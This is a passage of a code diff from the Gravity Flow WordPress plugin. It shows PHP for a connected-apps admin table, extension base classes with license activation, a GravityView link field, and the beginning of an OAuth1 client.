<th><?php esc_html_e( 'Client Secret', 'gravityflow'); gform_tooltip( __( 'Enter Client Secret.', 'gravityflow' ) ); ?><span class="required">*</span>
</th>
<td>
<input class="required medium gaddon-setting gaddon-text" type="text" name="consumer_secret" value="<?php echo esc_attr( rgar( $current_app, 'consumer_secret' ) ); ?>" />
</td>
</tr>
<tr>
<td><?php wp_nonce_field( 'nonce_authorize_app' ); ?></td>
<td>
<input type="hidden" id="gflow_authorize_app_hidden_action" name="gflow_authorize_app" value="Authorize App" />
<input type="submit" id="gflow_authorize_app_button" name="gflow_authorize_app" class="button primary" value="<?php esc_html_e( 'Authorize App', 'gravityflow' ); ?>" />
</td>
</tr>
<?php
}
if ( $is_edit && array_key_exists( 'consumer_key', $current_app ) && array_key_exists( 'consumer_secret', $current_app ) ) {
?>
<tr>
<td colspan="2">
<input type="button" data-app="<?php echo $current_app_id; ?>" id="gflow_reauthorize_app" class="button primary" value="<?php esc_html_e( 'Re-authorize App', 'gravityflow'); ?>"/>
</td>
</tr>
<?php
}
?>
</tbody>
</table>
<?php
}
}
/**
* Returns the instance of the Gravity_Flow_Connected_Apps class.
*
* @return Gravity_Flow_Connected_Apps
*/
function gravityflow_connected_apps() {
return Gravity_Flow_Connected_Apps::instance();
}
gravityflow_connected_apps();
/**
* Class Gravity_Flow_Connected_Apps_Table
*/
class Gravity_Flow_Connected_Apps_Table extends WP_List_Table {
/**
* An array of connected apps.
*
* @var array
*/
protected $_apps = array();
/**
* Gravity_Flow_Connected_Apps_Table constructor.
*
* @param array $args Array of arguments for the current table.
*/
function __construct( $args = array() ) {
$cols = $this->get_columns();
$this->_apps = gravityflow_connected_apps()->get_connected_apps();
$this->_column_headers = array(
$cols,
array(),
array(),
);
parent::__construct(
array(
'singular' => esc_html__( 'App', 'gravityflow' ),
'plural' => esc_html__( 'Apps', 'gravityflow' ),
'ajax' => false,
)
);
}
/**
* Prepares items for the table.
*/
function prepare_items() {
$this->items = $this->_apps;
}
/**
* Returns the columns for the table.
*
* @return array
*/
function get_columns() {
return array(
'app_name' => esc_html__( 'App Name', 'gravityflow' ),
'app_type' => esc_html__( 'Type', 'gravityflow' ),
'status' => esc_html__( 'Status', 'gravityflow' ),
);
}
/**
* Outputs the no items message.
*/
function no_items() {
esc_html_e( 'You don\'t have any Connected Apps configured.', 'gravityflow' );
}
/**
* Outputs the App Name.
*
* @param array $item The app settings.
*/
function column_app_name( $item ) {
echo $item['app_name'];
}
/**
* Outputs the App Type.
*
* @param array $item The app settings.
*/
function column_app_type( $item ) {
switch ( $item['app_type'] ) {
case 'wp_oauth1' :
echo '<span class="dashicons dashicons-wordpress"></span>&nbsp;';
esc_html_e( 'WordPress OAuth1', 'gravityflow' );
break;
default :
echo $item['app_type'];
}
}
/**
* Outputs the status.
*
* @param array $item The app settings.
*/
function column_status( $item ) {
echo gravityflow_connected_apps()->wrap_status_message( $item['status'] );
}
/**
* Returns the row actions.
*
* @param array $item The app settings.
* @param string $column_name The current column name.
* @param string $primary The primary column name.
*
* @return string
*/
function handle_row_actions( $item, $column_name, $primary ) {
if ( $primary !== $column_name ) {
return '';
}
$edit_url = esc_url( add_query_arg( array(
'app' => $item['app_id'],
), remove_query_arg( 'delete' ) ) );
$delete_url = esc_url( add_query_arg( array(
'app' => $item['app_id'],
'delete' => true,
'_nonce' => wp_create_nonce( 'gflow_delete_app' ),
) ) );
$actions = array();
$actions['edit'] = '<a href="' . $edit_url . '">' . esc_html__( 'Edit', 'gravityflow' ) . '</a>';
$actions['delete'] = "<a class='submitdelete' href='" . $delete_url . "' onclick=\"if ( confirm( '" . esc_js( sprintf( __( "You are about to delete this app '%s'\n 'Cancel' to stop, 'OK' to delete." ), $item['app_name'] ) ) . "' ) ) { return true;}return false;\">" . __( 'Delete' ) . "</a>";
return $this->row_actions( $actions );
}
}

View File

@@ -0,0 +1,378 @@
<?php
/**
* Gravity Flow Extension Base
*
* @package GravityFlow
* @subpackage Classes/ExtensionBase
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
GFForms::include_addon_framework();
/**
* Class Gravity_Flow_Extension
*
* @since 1.0
*/
abstract class Gravity_Flow_Extension extends GFAddOn {
/**
* The item name used by Easy Digital Downloads.
*
* @var string
*/
public $edd_item_name = '';
/**
* If the extensions minimum requirements are met add the general hooks.
*/
public function init() {
parent::init();
$meets_requirements = $this->meets_minimum_requirements();
if ( ! $meets_requirements['meets_requirements'] ) {
return;
}
add_filter( 'gravityflow_menu_items', array( $this, 'menu_items' ) );
add_filter( 'gravityflow_toolbar_menu_items', array( $this, 'toolbar_menu_items' ) );
}
/**
* If the extensions minimum requirements are met add the admin hooks.
*/
public function init_admin() {
parent::init_admin();
$meets_requirements = $this->meets_minimum_requirements();
if ( ! $meets_requirements['meets_requirements'] ) {
return;
}
add_filter( 'gravityflow_settings_menu_tabs', array( $this, 'app_settings_tabs' ) );
add_filter( 'plugin_action_links', array( $this, 'plugin_settings_link' ), 10, 2 );
// Members 2.0+ Integration.
if ( function_exists( 'members_register_cap_group' ) ) {
remove_filter( 'members_get_capabilities', array( $this, 'members_get_capabilities' ) );
add_filter( 'gravityflow_members_capabilities', array( $this, 'get_members_capabilities' ) );
}
}
/**
* Add the extension capabilities to the Gravity Flow group in Members.
*
* Override to provide human readable labels.
*
* @since 1.8.1-dev
*
* @param array $caps The capabilities and their human readable labels.
*
* @return array
*/
public function get_members_capabilities( $caps ) {
foreach ( $this->_capabilities as $capability ) {
$caps[ $capability ] = $capability;
}
return $caps;
}
/**
* Add a tab to the app settings page for this extension.
*
* @param array $settings_tabs The app settings tabs.
*
* @return array
*/
public function app_settings_tabs( $settings_tabs ) {
$settings_tabs[] = array(
'name' => $this->_slug,
'label' => $this->get_short_title(),
'callback' => array( $this, 'app_settings_tab' ),
);
return $settings_tabs;
}
/**
* The callback for this extensions app settings tab.
*/
public function app_settings_tab() {
require_once( GFCommon::get_base_path() . '/tooltips.php' );
$icon = $this->app_settings_icon();
if ( empty( $icon ) ) {
$icon = '<i class="fa fa-cogs"></i>';
}
?>
<h3><span><?php echo $icon ?><?php echo $this->app_settings_title() ?></span></h3>
<?php
if ( $this->maybe_uninstall() ) {
?>
<div class="push-alert-gold" style="border-left: 1px solid #E6DB55; border-right: 1px solid #E6DB55;">
<?php printf( esc_html_x( '%s has been successfully uninstalled. It can be re-activated from the %splugins page%s.', 'Displayed on the settings page after uninstalling a Gravity Flow extension.', 'gravityflow' ), esc_html( $this->_title ), "<a href='plugins.php'>", '</a>' ); ?>
</div>
<?php
} else {
// Saves settings page if save button was pressed.
$this->maybe_save_app_settings();
// Reads main add-on settings.
$settings = $this->get_app_settings();
$this->set_settings( $settings );
// Reading add-on fields.
$sections = $this->app_settings_fields();
GFCommon::display_admin_message();
// Rendering settings based on fields and current settings.
$this->render_settings( $sections );
$this->render_uninstall();
}
}
/**
* Override this function to customize the markup for the uninstall section on the plugin settings page
*/
public function render_uninstall() {
?>
<form action="" method="post">
<?php wp_nonce_field( 'uninstall', 'gf_addon_uninstall' ) ?>
<?php if ( $this->current_user_can_any( $this->_capabilities_uninstall ) ) { ?>
<div class="hr-divider"></div>
<h3><span><i
class="fa fa-times"></i> <?php printf( esc_html_x( 'Uninstall %s Extension', 'Title for the uninstall section on the settings page for a Gravity Flow extension.', 'gravityflow' ), $this->get_short_title() ) ?></span>
</h3>
<div class="delete-alert alert_red">
<h3><i class="fa fa-exclamation-triangle gf_invalid"></i> Warning</h3>
<div class="gf_delete_notice">
<?php echo $this->uninstall_warning_message() ?>
</div>
<input type="submit" name="uninstall"
value="<?php echo esc_attr_x( 'Uninstall Extension', 'Button text on the settings page for an extension.', 'gravityflow' ) ?>"
class="button"
onclick="return confirm('<?php echo esc_js( $this->uninstall_confirm_message() ); ?>');">
</div>
<?php } ?>
</form>
<?php
}
/**
* Get the settings for the app settings tab.
*
* @return array
*/
public function app_settings_fields() {
return array(
array(
'title' => $this->get_short_title(),
'fields' => array(
array(
'name' => 'license_key',
'label' => esc_html__( 'License Key', 'gravityflow' ),
'type' => 'text',
'validation_callback' => array( $this, 'license_validation' ),
'feedback_callback' => array( $this, 'license_feedback' ),
'error_message' => __( 'Invalid license', 'gravityflow' ),
'class' => 'large',
'default_value' => '',
),
),
),
);
}
/**
* Return the saved settings.
*
* @return mixed
*/
public function get_app_settings() {
return parent::get_app_settings();
}
/**
* Validate the license key setting.
*
* @param string $value The field value; the license key.
* @param array $field The field properties.
*
* @return bool|null
*/
public function license_feedback( $value, $field ) {
if ( empty( $value ) ) {
return null;
}
$license_data = $this->check_license( $value );
$valid = null;
if ( empty( $license_data ) || $license_data->license == 'invalid' ) {
$valid = false;
} elseif ( $license_data->license == 'valid' ) {
$valid = true;
}
return $valid;
}
/**
* Retrieve the license data.
*
* @param string $value The license key for this extension.
*
* @return array|mixed|object
*/
public function check_license( $value ) {
$response = gravity_flow()->perform_edd_license_request( 'check_license', $value, $this->edd_item_name );
return json_decode( wp_remote_retrieve_body( $response ) );
}
/**
* Deactivate the old license key and active the new license key.
*
* @param array $field The field properties.
* @param string $field_setting The field value; the license key.
*/
public function license_validation( $field, $field_setting ) {
$old_license = $this->get_app_setting( 'license_key' );
if ( $old_license && $field_setting != $old_license ) {
$response = gravity_flow()->perform_edd_license_request( 'deactivate_license', $old_license, $this->edd_item_name );
$this->log_debug( __METHOD__ . '(): response: ' . print_r( $response, 1 ) );
}
if ( empty( $field_setting ) ) {
return;
}
$this->activate_license( $field_setting );
}
/**
* Activate the license key.
*
* @param string $license_key The license key for this extension.
*
* @return array|mixed|object
*/
public function activate_license( $license_key ) {
$response = gravity_flow()->perform_edd_license_request( 'activate_license', $license_key, $this->edd_item_name );
// Force plugins page to refresh the update info.
set_site_transient( 'update_plugins', null );
$cache_key = md5( 'edd_plugin_' . sanitize_key( $this->_path ) . '_version_info' );
delete_transient( $cache_key );
return json_decode( wp_remote_retrieve_body( $response ) );
}
/**
* Override to add menu items to the Gravity Flow app menu.
*
* @param array $menu_items The app menu items.
*
* @return array
*/
public function menu_items( $menu_items ) {
return $menu_items;
}
/**
* Override to add menu items to the Gravity Flow toolbar.
*
* @param array $menu_items The toolbar menu items.
*
* @return array
*/
public function toolbar_menu_items( $menu_items ) {
return $menu_items;
}
/**
* Prevent the failed requirements page being added to the Forms > Settings area.
* Add the settings link to the installed plugins page.
*
* @since 1.7.1-dev
*/
public function failed_requirements_init() {
$failed_requirements = $this->meets_minimum_requirements();
// Prepare errors list.
$errors = '';
foreach ( $failed_requirements['errors'] as $error ) {
$errors .= sprintf( '<li>%s</li>', esc_html( $error ) );
}
// Prepare error message.
$error_message = sprintf(
'%s<br />%s<ol>%s</ol>',
sprintf( esc_html__( '%s is not able to run because your WordPress environment has not met the minimum requirements.', 'gravityflow' ), $this->_title ),
sprintf( esc_html__( 'Please resolve the following issues to use %s:', 'gravityflow' ), $this->get_short_title() ),
$errors
);
// Add error message.
GFCommon::add_error_message( $error_message );
}
/**
* Determine if the add-ons minimum requirements have been met with Gravity Forms 2.2+.
*
* @since 1.8.1-dev
*
* @return array
*/
public function meets_minimum_requirements() {
if ( $this->is_gravityforms_supported( '2.2' ) ) {
return parent::meets_minimum_requirements();
}
return array( 'meets_requirements' => true, 'errors' => array() );
}
/**
* Add the settings link for the extension to the installed plugins page.
*
* @param array $links An array of plugin action links.
* @param string $file Path to the plugin file relative to the plugins directory.
*
* @since 1.7.1-dev
*
* @return array
*/
public function plugin_settings_link( $links, $file ) {
if ( $file != $this->_path ) {
return $links;
}
array_unshift( $links, '<a href="' . admin_url( 'admin.php' ) . '?page=gravityflow_settings&view=' . $this->_slug . '">' . esc_html__( 'Settings', 'gravityflow' ) . '</a>' );
return $links;
}
}

View File

@@ -0,0 +1,378 @@
<?php
/**
* Gravity Flow Extension Base
*
* @package GravityFlow
* @subpackage Classes/ExtensionBase
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.0
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
GFForms::include_feed_addon_framework();
/**
* Class Gravity_Flow_Feed_Extension
*
* @since 1.0
*/
abstract class Gravity_Flow_Feed_Extension extends GFFeedAddOn {
/**
* The item name used by Easy Digital Downloads.
*
* @var string
*/
public $edd_item_name = '';
/**
* If the extensions minimum requirements are met add the general hooks.
*/
public function init() {
parent::init();
$meets_requirements = $this->meets_minimum_requirements();
if ( ! $meets_requirements['meets_requirements'] ) {
return;
}
add_filter( 'gravityflow_menu_items', array( $this, 'menu_items' ) );
add_filter( 'gravityflow_toolbar_menu_items', array( $this, 'toolbar_menu_items' ) );
}
/**
* If the extensions minimum requirements are met add the admin hooks.
*/
public function init_admin() {
parent::init_admin();
$meets_requirements = $this->meets_minimum_requirements();
if ( ! $meets_requirements['meets_requirements'] ) {
return;
}
add_filter( 'gravityflow_settings_menu_tabs', array( $this, 'app_settings_tabs' ) );
add_filter( 'plugin_action_links', array( $this, 'plugin_settings_link' ), 10, 2 );
// Members 2.0+ Integration.
if ( function_exists( 'members_register_cap_group' ) ) {
remove_filter( 'members_get_capabilities', array( $this, 'members_get_capabilities' ) );
add_filter( 'gravityflow_members_capabilities', array( $this, 'get_members_capabilities' ) );
}
}
/**
* Add the extension capabilities to the Gravity Flow group in Members.
*
* Override to provide human readable labels.
*
* @since 1.8.1-dev
*
* @param array $caps The capabilities and their human readable labels.
*
* @return array
*/
public function get_members_capabilities( $caps ) {
foreach ( $this->_capabilities as $capability ) {
$caps[ $capability ] = $capability;
}
return $caps;
}
/**
* Add a tab to the app settings page for this extension.
*
* @param array $settings_tabs The app settings tabs.
*
* @return array
*/
public function app_settings_tabs( $settings_tabs ) {
$settings_tabs[] = array(
'name' => $this->_slug,
'label' => $this->get_short_title(),
'callback' => array( $this, 'app_settings_tab' ),
);
return $settings_tabs;
}
/**
* The callback for this extensions app settings tab.
*/
public function app_settings_tab() {
require_once( GFCommon::get_base_path() . '/tooltips.php' );
$icon = $this->app_settings_icon();
if ( empty( $icon ) ) {
$icon = '<i class="fa fa-cogs"></i>';
}
?>
<h3><span><?php echo $icon ?><?php echo $this->app_settings_title() ?></span></h3>
<?php
if ( $this->maybe_uninstall() ) {
?>
<div class="push-alert-gold" style="border-left: 1px solid #E6DB55; border-right: 1px solid #E6DB55;">
<?php printf( esc_html_x( '%s has been successfully uninstalled. It can be re-activated from the %splugins page%s.', 'Displayed on the settings page after uninstalling a Gravity Flow extension.', 'gravityflow' ), esc_html( $this->_title ), "<a href='plugins.php'>", '</a>' ); ?>
</div>
<?php
} else {
// Saves settings page if save button was pressed.
$this->maybe_save_app_settings();
// Reads main add-on settings.
$settings = $this->get_app_settings();
$this->set_settings( $settings );
// Reading add-on fields.
$sections = $this->app_settings_fields();
GFCommon::display_admin_message();
// Rendering settings based on fields and current settings.
$this->render_settings( $sections );
$this->render_uninstall();
}
}
/**
* Override this function to customize the markup for the uninstall section on the plugin settings page
*/
public function render_uninstall() {
?>
<form action="" method="post">
<?php wp_nonce_field( 'uninstall', 'gf_addon_uninstall' ) ?>
<?php if ( $this->current_user_can_any( $this->_capabilities_uninstall ) ) { ?>
<div class="hr-divider"></div>
<h3><span><i
class="fa fa-times"></i> <?php printf( esc_html_x( 'Uninstall %s Extension', 'Title for the uninstall section on the settings page for a Gravity Flow extension.', 'gravityflow' ), $this->get_short_title() ) ?></span>
</h3>
<div class="delete-alert alert_red">
<h3><i class="fa fa-exclamation-triangle gf_invalid"></i> Warning</h3>
<div class="gf_delete_notice">
<?php echo $this->uninstall_warning_message() ?>
</div>
<input type="submit" name="uninstall"
value="<?php echo esc_attr_x( 'Uninstall Extension', 'Button text on the settings page for an extension.', 'gravityflow' ) ?>"
class="button"
onclick="return confirm('<?php echo esc_js( $this->uninstall_confirm_message() ); ?>');">
</div>
<?php } ?>
</form>
<?php
}
/**
* Get the settings for the app settings tab.
*
* @return array
*/
public function app_settings_fields() {
return array(
array(
'title' => $this->get_short_title(),
'fields' => array(
array(
'name' => 'license_key',
'label' => esc_html__( 'License Key', 'gravityflow' ),
'type' => 'text',
'validation_callback' => array( $this, 'license_validation' ),
'feedback_callback' => array( $this, 'license_feedback' ),
'error_message' => __( 'Invalid license', 'gravityflow' ),
'class' => 'large',
'default_value' => '',
),
),
),
);
}
/**
* Return the saved settings.
*
* @return mixed
*/
public function get_app_settings() {
return parent::get_app_settings();
}
/**
* Validate the license key setting.
*
* @param string $value The field value; the license key.
* @param array $field The field properties.
*
* @return bool|null
*/
public function license_feedback( $value, $field ) {
if ( empty( $value ) ) {
return null;
}
$license_data = $this->check_license( $value );
$valid = null;
if ( empty( $license_data ) || $license_data->license == 'invalid' ) {
$valid = false;
} elseif ( $license_data->license == 'valid' ) {
$valid = true;
}
return $valid;
}
/**
* Retrieve the license data.
*
* @param string $value The license key for this extension.
*
* @return array|mixed|object
*/
public function check_license( $value ) {
$response = gravity_flow()->perform_edd_license_request( 'check_license', $value, $this->edd_item_name );
return json_decode( wp_remote_retrieve_body( $response ) );
}
/**
* Deactivate the old license key and active the new license key.
*
* @param array $field The field properties.
* @param string $field_setting The field value; the license key.
*/
public function license_validation( $field, $field_setting ) {
$old_license = $this->get_app_setting( 'license_key' );
if ( $old_license && $field_setting != $old_license ) {
// Deactivate the old site.
$response = gravity_flow()->perform_edd_license_request( 'deactivate_license', $old_license, $this->edd_item_name );
}
if ( empty( $field_setting ) ) {
return;
}
$this->activate_license( $field_setting );
}
/**
* Activate the license key.
*
* @param string $license_key The license key for this extension.
*
* @return array|mixed|object
*/
public function activate_license( $license_key ) {
$response = gravity_flow()->perform_edd_license_request( 'activate_license', $license_key, $this->edd_item_name );
// Force plugins page to refresh the update info.
set_site_transient( 'update_plugins', null );
$cache_key = md5( 'edd_plugin_' . sanitize_key( $this->_path ) . '_version_info' );
delete_transient( $cache_key );
return json_decode( wp_remote_retrieve_body( $response ) );
}
/**
* Override to add menu items to the Gravity Flow app menu.
*
* @param array $menu_items The app menu items.
*
* @return array
*/
public function menu_items( $menu_items ) {
return $menu_items;
}
/**
* Override to add menu items to the Gravity Flow toolbar.
*
* @param array $menu_items The toolbar menu items.
*
* @return array
*/
public function toolbar_menu_items( $menu_items ) {
return $menu_items;
}
/**
* Add the failed requirements error message.
*
* @since 1.7.1-dev
*/
public function failed_requirements_init() {
$failed_requirements = $this->meets_minimum_requirements();
// Prepare errors list.
$errors = '';
foreach ( $failed_requirements['errors'] as $error ) {
$errors .= sprintf( '<li>%s</li>', esc_html( $error ) );
}
// Prepare error message.
$error_message = sprintf(
'%s<br />%s<ol>%s</ol>',
sprintf( esc_html__( '%s is not able to run because your WordPress environment has not met the minimum requirements.', 'gravityflow' ), $this->_title ),
sprintf( esc_html__( 'Please resolve the following issues to use %s:', 'gravityflow' ), $this->get_short_title() ),
$errors
);
// Add error message.
GFCommon::add_error_message( $error_message );
}
/**
* Determine if the add-ons minimum requirements have been met with Gravity Forms 2.2+.
*
* @since 1.8.1-dev
*
* @return array
*/
public function meets_minimum_requirements() {
if ( $this->is_gravityforms_supported( '2.2' ) ) {
return parent::meets_minimum_requirements();
}
return array( 'meets_requirements' => true, 'errors' => array() );
}
/**
* Add the settings link for the extension to the installed plugins page.
*
* @param array $links An array of plugin action links.
* @param string $file Path to the plugin file relative to the plugins directory.
*
* @since 1.7.1-dev
*
* @return array
*/
public function plugin_settings_link( $links, $file ) {
if ( $file != $this->_path ) {
return $links;
}
array_unshift( $links, '<a href="' . admin_url( 'admin.php' ) . '?page=gravityflow_settings&view=' . $this->_slug . '">' . esc_html__( 'Settings', 'gravityflow' ) . '</a>' );
return $links;
}
}

View File

@@ -0,0 +1,174 @@
<?php
/**
* Integrates Gravity Flow with GravityView.
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.5.1-dev
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Add custom options for workflow_detail_link fields
*
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*/
class Gravity_Flow_GravityView_Workflow_Detail_Link extends GravityView_Field {
/**
* The name of the GravityView field type.
*
* @var string
*/
var $name = 'workflow_detail_link';
/**
* The contexts in which a field is available.
*
* @var array
*/
var $contexts = array( 'multiple' );
/**
* Can the field be sorted in search?
*
* @var bool
*/
var $is_sortable = false;
/**
* Can the field be searched?
*
* @var bool
*/
var $is_searchable = false;
/**
* The group this field belongs to.
*
* @var string
*/
var $group = 'meta';
/**
* Gravity_Flow_GravityView_Workflow_Detail_Link constructor.
*/
public function __construct() {
$this->label = esc_html__( 'Link to Workflow Entry Detail', 'gravityflow' );
$this->add_hooks();
parent::__construct();
}
/**
* Adds hooks for GravityView.
*
* @since 1.5.1-dev
*/
private function add_hooks() {
add_filter( 'gravityview_entry_default_fields', array( $this, 'add_entry_default_field' ), 10, 3 );
add_filter( 'gravityview_field_entry_value_workflow_detail_link', array( $this, 'modify_entry_value_workflow_detail_link' ), 10, 4 );
}
/**
* Add Entry Notes to the Add Field picker in Edit View
*
* @see GravityView_Admin_Views::get_entry_default_fields()
*
* @since 1.17
*
* @param array $entry_default_fields Fields configured to show in the picker.
* @param array $form Gravity Forms form array.
* @param string $zone Current context: `directory`, `single`, `edit`.
*
* @return array Fields array with notes added, if in Multiple Entries or Single Entry context.
*/
public function add_entry_default_field( $entry_default_fields, $form, $zone ) {
if ( in_array( $zone, array( 'directory', 'single' ) ) ) {
$entry_default_fields['workflow_detail_link'] = array(
'label' => __( 'Workflow Detail Link', 'gravityflow' ),
'type' => $this->name,
'desc' => __( 'Display a link to the workflow detail page.', 'gravityflow' ),
);
}
return $entry_default_fields;
}
/**
* Generate the workflow detail link.
*
* @param string $output HTML value output.
* @param array $entry The GF entry array.
* @param array $field_settings Settings for the particular GV field.
* @param array $field Current field being displayed.
*
* @since 1.5.1-dev
*
* @return string
*/
function modify_entry_value_workflow_detail_link( $output, $entry, $field_settings, $field ) {
$query_args = array(
'page' => 'gravityflow-inbox',
'view' => 'entry',
'id' => absint( $entry['form_id'] ),
'lid' => absint( $entry['id'] ),
);
$page_id = gravity_flow()->get_app_setting( 'inbox_page' );
if ( empty( $page_id ) ) {
$page_id = 'admin';
}
$url = Gravity_Flow_Common::get_workflow_url( $query_args, $page_id );
$text = $field_settings['workflow_detail_link_text'];
$output = sprintf( '<a href="%s">%s</a>', $url, $text );
return $output;
}
/**
* Adds the link text field option.
*
* @param array $field_options The field properties.
* @param string $template_id The template ID.
* @param string $field_id The field ID.
* @param string $context The current context.
* @param string $input_type The field input type.
*
* @return array
*/
function field_options( $field_options, $template_id, $field_id, $context, $input_type ) {
// Always a link!
unset( $field_options['show_as_link'], $field_options['search_filter'] );
if ( 'edit' === $context ) {
return $field_options;
}
$add_options = array();
$add_options['workflow_detail_link_text'] = array(
'type' => 'text',
'label' => __( 'Link Text:', 'gravityflow' ),
'desc' => null,
'value' => __( 'View Details', 'gravityflow' ),
'merge_tags' => true,
);
return $add_options + $field_options;
}
}
new Gravity_Flow_GravityView_Workflow_Detail_Link;

View File

@@ -0,0 +1,326 @@
<?php
/**
* Gravity Flow OAuth1 Client
*
* @package GravityFlow
* @subpackage Classes/API
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public Licenses
* @since 1.0
**/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* A minimal oauth1 client. Currently only supports the official WordPress oauth server plugin for the WP REST API.
*
* Class Gravity_Flow_Oauth1_Client
*
* @since 1.8.1
*/
class Gravity_Flow_Oauth1_Client {
/**
* Gives unique name to the application for storage.
*
* @var array
*/
public $data_store;
/**
* Class constructor
*
* @param array $config sent in to build the client.
* @param string $connection_identifier a unique identifier for the instance.
* @param string $url the app url used for collecting the auth urls.
*
* @throws InvalidArgumentException If missing keys in config.
*/
public function __construct( $config, $connection_identifier, $url ) {
$required_params = array(
'consumer_key',
'consumer_secret',
);
foreach ( $required_params as $param ) {
if ( ! isset( $config[ $param ] ) ) {
throw new InvalidArgumentException( sprintf( 'Missing OAuth1 client configuration: %s - see includes/class-oauth1-client.php', $param ) );
}
}
$this->url = $url;
$this->config = $config;
$this->timestamp = time();
$this->connection_identifier = $connection_identifier;
$this->data_store = array(
'auth_urls' => 'gravityflow_oauth_urls_' . base64_encode( $this->connection_identifier ),
'progress' => 'gravity_flow_oauth_progress_' . base64_encode( $this->connection_identifier ),
'full_credentials' => 'gravity_flow_oauth_full_credentials_' . base64_encode( $this->connection_identifier ),
);
$this->api_auth_urls = $this->get_auth_urls();
}
/**
* Hits the app url and collects authorization endpoint urls.
*
* @throws Exception If collection of api auth urls fails.
* @return array
*/
function get_auth_urls() {
if ( get_option( $this->data_store['auth_urls'] ) !== false ) {
return get_option( $this->data_store['auth_urls'] );
}
$url = wp_parse_url( $this->url, PHP_URL_SCHEME ) . '://' . wp_parse_url( $this->url, PHP_URL_HOST );
$page = wp_remote_get( $url );
if ( ! is_wp_error( $page ) ) {
$headers = $page['headers'];
$link = rgar( $headers['link'], 0, $headers['link'] );
$link_parts = explode( '; ', $link );
$this->api_base_url = str_replace( array( '<', '>' ), '', $link_parts[0] );
$api_details = wp_remote_get( $this->api_base_url );
if ( ! is_wp_error( $api_details ) ) {
$api_details = json_decode( $api_details['body'], true );
if ( isset( $api_details['authentication'] ) ) {
update_option( $this->data_store['auth_urls'], $api_details['authentication'] );
return $api_details['authentication'];
} else {
throw new Exception( sprintf( 'No authentication array in api details from %s', $this->api_base_url ) );
}
} else {
throw new Exception( sprintf( 'Problem with remote get call for %s. WP_Error: %s', $this->api_base_url, $api_details->get_error_message() ) );
}
} else {
throw new Exception( sprintf( 'Broken request for %s', $url ) );
}
}
/**
* Request token i.e. temporary credentials using consumer key and secret.
*
* @throws Exception If request for temporary credentials fails.
*
* @return array
*/
function request_token() {
$response = wp_remote_post( $this->api_auth_urls['oauth1']['request'], array(
'headers' => $this->request_token_headers(),
) );
if ( ! is_wp_error( $response ) && 200 === (int) $response['response']['code'] ) {
parse_str( $response['body'], $temporary_credentials );
return $temporary_credentials;
} else {
gravity_flow()->log_debug( __METHOD__ . '() - response: ' . print_r( $response, true ) );
throw new Exception( 'Problem with remote post for temporary credentials' );
}
}
/**
* Gets request header for final access request.
*
* @param string $url Url for the request.
* @param string $http_verb Request type (GET, POST etc).
* @param array $options Optional array of options.
*
* @return string
*/
function get_full_request_header( $url, $http_verb, $options = array() ) {
$parameters = $this->full_request_params();
if ( ! empty( $options ) ) {
$parameters = array_merge( $parameters, $options );
}
$parameters['oauth_signature'] = $this->hmac_sign( $url, $parameters, $http_verb );
return $this->authorization_headers( $parameters );
}
/**
* Request access token from oauth server.
*
* @param string $verifier The code sent back after authorizing at remote site.
*
* @throws Exception If remote request fails.
*
* @return array
*/
function request_access_token( $verifier ) {
$response = wp_remote_post( $this->api_auth_urls['oauth1']['access'], array(
'headers' => $this->request_access_token_headers( $verifier ),
) );
if ( ! is_wp_error( $response ) && 200 === (int) $response['response']['code'] ) {
parse_str( $response['body'], $access_credentials );
return $access_credentials;
} else {
gravity_flow()->log_debug( __METHOD__ . '() - response: ' . print_r( $response, true ) );
throw new Exception( 'Problem with remote post for access credentials' );
}
}
/**
* Get headers for token request.
*
* @return array
*/
function request_token_headers() {
$parameters = $this->request_token_params();
$parameters['oauth_signature'] = $this->hmac_sign( $this->api_auth_urls['oauth1']['request'], $parameters );
return array(
'Authorization' => $this->authorization_headers( $parameters ),
);
}
/**
* Get headers for access token request.
*
* @param string $verifier Code sent back after authorizing app on remote site.
*
* @return array
*/
function request_access_token_headers( $verifier ) {
$parameters = $this->request_access_token_params( $verifier );
$parameters['oauth_signature'] = $this->hmac_sign( $this->api_auth_urls['oauth1']['access'], $parameters );
return array(
'Authorization' => $this->authorization_headers( $parameters ),
);
}
/**
* Generates nonce for oauth requests.
*
* @return string
*/
public function nonce() {
return md5( mt_rand() );
}
/**
* Sets up params for request token request.
*
* @return array
*/
function request_token_params() {
return array(
'oauth_consumer_key' => $this->config['consumer_key'],
'oauth_nonce' => $this->nonce(),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_timestamp' => $this->timestamp,
'oauth_callback' => $this->config['callback_url'],
);
}
/**
* Sets up params for full request.
*
* @return array
*/
function full_request_params() {
return array(
'oauth_consumer_key' => $this->config['consumer_key'],
'oauth_token' => $this->config['token'],
'oauth_nonce' => $this->nonce(),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_timestamp' => $this->timestamp,
);
}
/**
* Sets up params for request access token request.
*
* @param string $verifier Verification code sent back after authorizing app at remote site.
*
* @return array
*/
function request_access_token_params( $verifier ) {
return array(
'oauth_consumer_key' => $this->config['consumer_key'],
'oauth_nonce' => $this->nonce(),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_timestamp' => $this->timestamp,
'oauth_verifier' => $verifier,
'oauth_token' => $this->config['token'],
);
}
/**
* Signs oauth request.
*
* @param string $uri Url used to sign the request.
* @param array $parameters Parameters to build into signature.
* @param string $http_verb Request type.
*
* @return string
*/
function hmac_sign( $uri, array $parameters = array(), $http_verb = 'POST' ) {
$base_string = $this->base_string( $uri, $parameters, $http_verb );
return base64_encode( $this->hash( $base_string ) );
}
/**
* Builds base string for request signing.
*
* @param string $uri Url in the request.
* @param array $parameters Params from the request.
* @param string $http_verb Request method.
*
* @return string
*/
public function base_string( $uri, array $parameters = array(), $http_verb = 'POST' ) {
ksort( $parameters );
